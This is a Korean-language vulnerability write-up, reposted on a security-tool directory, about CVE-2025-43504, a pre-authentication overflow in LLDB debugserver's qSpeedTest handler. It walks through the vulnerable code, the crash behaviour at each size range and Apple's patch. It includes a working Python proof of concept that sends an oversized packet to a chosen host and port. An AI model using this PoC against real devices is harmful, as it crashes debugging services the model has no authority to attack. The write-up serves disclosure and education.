Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-43504 | Kitploit
도구/GitHubGitHub/calysteon/cve-2025-43504
iOS SecurityVulnerability AnalysisExploitationDebuggersPapers & ResearchLearning & EducationBinary Exploitation
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

저장소 보기
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

좋은 /bin이 나쁘게 변할 때: LLDB의 debugserver에서 발견된 원격 사전 인증 오버플로우


서론

어릴 적, 저는 동네 월마트의 DVD 할인 통을 뒤지는 것을 늘 즐겼습니다. 위에는 똑같은 영화들이 많이 놓여 있었지만, 실제로 깊이 뒤적이다 보면 더 흥미롭고 마니아적인 타이틀을 발견할 수 있었죠.

프로그램이 버퍼를 오버플로우할 때, 여러분은 본질적으로 그 프로그램의 할인 통에 손을 집어넣는 셈입니다. 손을 얼마나 깊이 넣느냐에 따라 DVD——즉, 이 경우에는 메모리에서 덮어쓰이는 구조체들——이 달라질 수 있습니다.

오늘의 할인 /bin은 CVE-2025-43504입니다: 제가 LLDB의 debugserver에서 발견한 원격 사전 인증 전역 버퍼 오버플로우입니다.

어떻게 여기까지 오게 되었을까?

애플리케이션 개발 과정에서 개발자들은 실제 iOS 기기에서 앱을 디버깅해야 할 필요성을 자주 느낍니다. 이를 위해 Xcode는 대상 iPhone에 Developer Disk Image를 마운트한 다음 해당 기기와 페어링합니다.

페어링이 완료되면 macOS 호스트는 클라이언트에 설치된 debugserver를 사용해 iOS 클라이언트와 통신할 수 있습니다. 따라서 기기의 debugserver에 GDB-remote 세션을 수립할 수 있는 모든 클라이언트는 qSpeedTest 핸들러에 도달해 취약한 버퍼를 오버플로우시킬 수 있습니다.

Apple이 CVE-2025-43504를 어떻게 분류했는지 더 잘 이해하기 위해 Xcode 26.1 보안 릴리스 페이지를 살펴보겠습니다:

CVE-2025-43504

현대적인 소프트웨어 완화 기술 덕분에 Apple은 버퍼 오버플로우를 메모리 손상 프리미티브라기보다 주로 서비스 거부(denial-of-service) 문제로 간주합니다. 오늘 살펴보겠지만, 공격자가 임의 코드 실행을 달성하려면 여러 장애물을 극복해야 하고 이 문제를 다른 버그와 짝지어야 할 가능성이 높다는 점에서 이는 대체로 사실입니다.

Pwn에게는 작은 한 걸음, Pwn 인류에게는 거대한 도약

패치 이전 버전의 debugserver로 직접 실험해 보고 싶다면 다음 커밋 또는 ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de 이전의 아무 커밋이나 사용하세요:

root@kitploit:~
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

더 큰 디버거가 필요할 겁니다

RNBRemote.cpp의 패치 이전에는 iOS 기기의 debugserver에 연결할 수 있는 모든 원격 사용자가 사전 인증(pre-authentication) 상태의 qSpeedTest 패킷을 RNBRemote::HandlePacket_qSpeedTest로 보내 debugserver의 전역 데이터 세그먼트에 있는 인접 구조체들을 손상시킬 수 있었습니다.

하지만 중요한 조건이 하나 있습니다: 우리는 손상의 길이만 제어할 수 있다는 점입니다. 페이로드의 내용은 'a' 문자 연속으로 고정되어 있습니다. 학생들이 꾸준히 높은 점수를 받으면 좋아하겠지만, 실제로 쓰이는 바이트를 제어할 수 없고 오직 'a'의 홍수가 얼마나 멀리까지 가는지만 제어할 수 있다는 사실 때문에 이 오버플로우의 실질적인 유용성은 크게 제한됩니다.

이제 RNBRemote::HandlePacket_qSpeedTest의 내부를 들여다보며 정확히 무슨 일이 벌어지는지 확인해 보겠습니다:

root@kitploit:~
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

RNBRemote::HandlePacket_qSpeedTest()의 역할은 iOS 기기의 debugserver 바이너리와 통신할 수 있는 원격 사용자에게 인증을 요구하지 않고 수신되는 qSpeedTest:response_size:<hex>; 패킷을 처리하는 것입니다.

그러나 원격 사용자가 debugserver에 qSpeedTest:response_size:<hex>; 패킷을 보낼 수 있게 되면, debugserver는 사용자가 제공한 response_size를 처리하기 전에 어떤 인증 검사도 수행하지 않습니다. 따라서 Developer Disk Image가 마운트된 iOS 기기와 통신할 수 있는 모든 사용자는 qSpeedTest:response_size:<hex>; 패킷을 통해 debugserver를 오버플로우시킬 수 있습니다.

그냥 계속 헤엄쳐, 헤엄쳐, 헤엄쳐

이제 취약한 함수 RNBRemote::HandlePacket_qSpeedTest()에 도달했으니 오버플로우가 정확히 어떻게 발생하는지 살펴보겠습니다. 먼저 qSpeedTest:response_size:<hex>; 패킷에 포함된 사용자 제공 크기 <hex>가 추출되어 response_size 변수에 저장됩니다:

root@kitploit:~
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

파싱이 성공하고 다음 문자가 세미콜론이면, 함수-로컬 정적 4 MiB + 16바이트 버퍼 g_data가 초기화되고 ASCII 헤더 "data:"로 시드됩니다:

root@kitploit:~
if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

아차, 또 해버렸네

이제 모든 것을 종합하면, memset은 사용자가 제어하는 response_size 값을 'a'의 개수로 사용하여 정적 4 MiB + 16바이트 버퍼 g_data를 'a'로 채웁니다.

root@kitploit:~
  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

따라서 원격 LLDB 클라이언트가 4 MiB + 16바이트 버퍼보다 큰 response_size가 포함된 qSpeedTest:response_size:<hex>; 패킷을 보낼 때마다 버퍼 오버플로우가 발생하여 debugserver의 전역 데이터 세그먼트(.bss)에 저장된 인접 전역 변수들이 손상됩니다.

좋은 bin들이 나빠질 때

이제 오버플로우 뒤에 있는 구조를 이해했으니, 취약점의 실제 메커니즘을 자세히 살펴보겠습니다. 먼저 다음 Python 프로그램을 사용하여 g_data 오버플로우를 통해 얻을 수 있는 손상 프리미티브를 탐색해 보겠습니다:

root@kitploit:~
import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
    args = ap.parse_args()

    print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")

if __name__ == "__main__":
    main()

response_size 0x4004AB: 크래시 없음

debugserver를 실행한 후 다음 python3 명령을 실행하여 response_size로 4004AB를 제공합니다:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB

debugserver가 크래시하지 않고 정상적으로 응답하는 것을 확인할 수 있습니다:

크래시 없음

기술적으로는 경계를 벗어났지만, g_data가 \0 바이트로 종료되므로 이웃한 로깅 함수 포인터 g_log_callback은 NULL 바이트로만 덮이게 되어 포인터 전체가 NULL로 유지됩니다.

response_size 0x4004AC - 0x40052B: 첫 번째 버스 오류

debugserver를 실행한 후 다음 python3 명령을 실행하여 response_size로 0x4004AC를 제공합니다:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC

맙소사!

첫 번째 버스 오류

추가 바이트 하나를 더 제공함으로써 NULL 꼬리를 지나쳐 이웃한 g_log_callback 포인터를 0x61 값으로 역참조하게 되어 크래시가 발생했습니다. 이제 --size 매개변수를 계속 1씩 증가시키면서 어떤 일이 일어나는지 확인해 보겠습니다:

오버플로우 타임랩스

보시다시피 이제 g_log_callback의 값을 제어할 수 있습니다. 음, 부분적으로는요. 실제로는 g_log_callback에서 0x61과 같아질 바이트 수만 제어할 수 있습니다.

이 현상은 _DNBLogVAPrintf에서 발생하는 것을 확인할 수 있습니다:

root@kitploit:~
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
                                   va_list args) {
  static std::recursive_mutex g_LogThreadedMutex;
  std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

  if (g_log_callback)
    g_log_callback(g_log_baton, flags, format, args);
}

g_log_callback이 NULL이 아니므로 뮤텍스가 잠기고 손상된 포인터를 호출하게 되어 크래시가 발생합니다. 이제 response_size가 0x4004B3가 된 이후부터는 response_size에 0x7F 오프셋이 추가되기 전까지 크래시 주소나 해당 스택 추적에 실질적인 변화가 나타나지 않습니다. 논리적으로도 타당한데, 일단 g_log_callback 포인터가 손상되면 g_log_callback 역참조로 인한 초기 크래시 때문에 다른 로깅 구조체의 후속 손상은 무의미해지기 때문입니다.

흥미롭게도 패치 이전의 프로덕션 macOS 릴리스에서는 이 부분적인 포인터 제어를 이용해 메모리에 있는 다양한 사용자 공간 포인터를 덮어쓸 수 있었습니다:

root@kitploit:~
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169

어떤 이유에서인지 각 주소의 끝 바이트는 항상 0x8 바이트씩 증가했습니다. 하지만 끝부분의 0x6169 바이트로 인해 생기는 정렬 문제를 해결할 수 있고, 덮어쓴 포인터가 역참조할 데이터를 어떻게든 예측하고 제어할 수 있다면, 이론적으로 제어 흐름을 리디렉션하여 궁극적으로 코드 실행을 얻을 수 있을 것입니다.

response_size 0x40052C - 0x402C62: abort() 오류

손상된 g_log_callback 포인터를 역참조하기 전에 뮤텍스가 잠기는 것에 대해 잠시 언급했습니다. 이제 response_size가 0x40052C가 되면 실제 뮤텍스 자체가 손상됩니다:

abort() 오류

문제가 _DNBLogVAPrintf가 lock_guard 생성자를 실행할 때 발생한 것을 확인할 수 있습니다:

root@kitploit:~
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

스택 추적에 따르면 lock_guard는 __m_.lock이 호출될 때 오류가 발생합니다:

root@kitploit:~
    31│   _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
    32│       : __m_(__m) {
    33│     __m_.lock();                                                                                
      │          ▲
    34│   }
    35│

나는 다른 함수로 위장한 함수를 연기하는 함수입니다

더 자세히 살펴보기 위해 std::recursive_mutex의 함수 정의를 확인해 보겠습니다:

root@kitploit:~
void recursive_mutex::lock() {
  int ec = __libcpp_recursive_mutex_lock(&__m_);
  if (ec)
    std::__throw_system_error(ec, "recursive_mutex lock failed");
}

이 함수는 __libcpp_recursive_mutex_lock의 래퍼로 보입니다:

root@kitploit:~
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
  return pthread_mutex_lock(__m);
}

그리고 이것은 다시 pthread_mutex_lock의 래퍼로 보입니다:

root@kitploit:~
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
	return _pthread_mutex_lock(mutex, false);
}

이것은 또 다른 _pthread_mutex_lock의 래퍼입니다... 하지만 그렇게까지 갈 필요는 없습니다.

오버플로우로 인해 pthread_mutex_t 포인터가 손상되었기 때문에, pthread_mutex_lock은 std::system_error("recursive_mutex lock failed")를 던지고 프로그램은 이어서 abort()를 던지며 종료됩니다.

프로그램이 abort되기 때문에, macOS가 수행하는 추가 검사를 고려할 때 동기화 프리미티브를 손상시키는 셈이므로 0x40052C와 0x402C62 사이의 response_size를 이용한 익스플로잇은 훨씬 더 어렵습니다.

response_size 0x402C63 이상: 마지막 버스 오류

이제 response_size로 0x402C63 이상을 사용하면, memset이 커널이 메모리의 .bss 세그먼트 뒤에 배치한 가드 페이지 또는 매핑되지 않은 영역의 경계를 넘어가는 즉시 CPU가 RNBRemote::HandlePacket_qSpeedTest에서 오류를 일으킵니다:

마지막 버스 오류

이 마지막 오버플로우 변형은 프로그램 실행을 제어할 직접적인 방법이 없기 때문에 그다지 흥미롭지 않습니다.

그냥 패치해 (패치해)

이제 문제 자체를 다뤘으니 Apple이 이를 어떻게 패치했는지 살펴보겠습니다:

패치

패치 설명에 따르면,

이 할당을 힙에 두도록 변경하고, 테스트할 수 있는 최대 크기를 제한합니다(당분간 4MB).

두 가지 주요 변경 사항이 있습니다:

  1. 할당이 debugserver의 전역 데이터 세그먼트(.bss)가 아닌 힙에 이루어짐
  2. 이전에는 크기 검사가 전혀 수행되지 않았던 할당에 4MB의 최대 크기가 적용됨

안녕, 그리고 물고기 고마웠어

Apple의 소프트웨어와 시스템 뒤에는 광범위한 클로즈드 소스 생태계가 있기 때문에, 소프트웨어 결함을 안정적으로 발견하고 이해하는 것은 항상 어려운 일입니다.

하지만 Apple이 의존하는 오픈 소스 의존성은 항상 존재하며, 그중 하나에서 문제를 찾을 수 있다면 그 영향이 하위 단계까지 미칠 가능성이 높습니다.

행운을 빕니다. 그리고 발견한 문제는 반드시 책임감 있게 공개하세요 😉

도구 다운로드